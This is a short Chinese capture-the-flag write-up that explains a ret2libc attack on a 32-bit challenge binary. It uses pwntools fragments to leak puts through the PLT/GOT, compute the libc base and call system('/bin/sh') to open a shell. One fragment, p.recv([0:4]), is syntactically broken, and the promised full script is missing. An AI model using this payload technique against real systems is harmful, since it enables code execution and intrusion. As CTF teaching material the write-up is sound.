题目:给出PWN2文件和libc
查看:
文件类型及其保护方法
找system和bin_sh都么有
所以只能利用libc文件
理论
思路
由于libc的延迟绑定机制,需要选择已经执行过的函数作为泄漏函数,这里我们选择put()
计算偏移量=92
构造payload1:目的: 得到puts的地址:puts_addr
payload=
填充满偏移量的长度 + puts的plt地址_p32(puts_plt) + main函数的地址_p32(main) + puts的got地址_p32(puts_got)
填充满偏移量的长度 =92=5C h ,下同。
p32(main) 在ida中查看=0x08048519
p32(puts_plt):puts_plt=elf.plt['puts']
p32(puts_got):puts_got=elf.got['puts']
//这里elf的用法因为:elf=ELF('./pwn2')
puts_addr:puts_addr=u32(p.recv([0:4]))
打印地址用到的代码是print "puts_addr:"+hex(puts_addr)
,下同。
构造payload2 目的: 由puts的地址推导出system和’/bin/sh’的地址
payload=
填充满偏移量的长度 +system地址_p32(system) + 4个‘b’ + '/bin/sh'地址_p32(bin_sh)
p32(system):
puts_libc=libc.symbols['puts']
libc_base=puts_addr-puts_libc
sys_libc=libc.symbols['system']
sys_addr=libc_base+sys_libc //至此得到了p32(sys_addr)
p32(bin_sh):
bin_sh_addr=libc_base+next(libc.search('/bin/sh')) ///至此得到了p32(bin_sh_addr)
//这里libc的用法因为:libc=ELF('libc.so.6')
脚本
一些没用的图: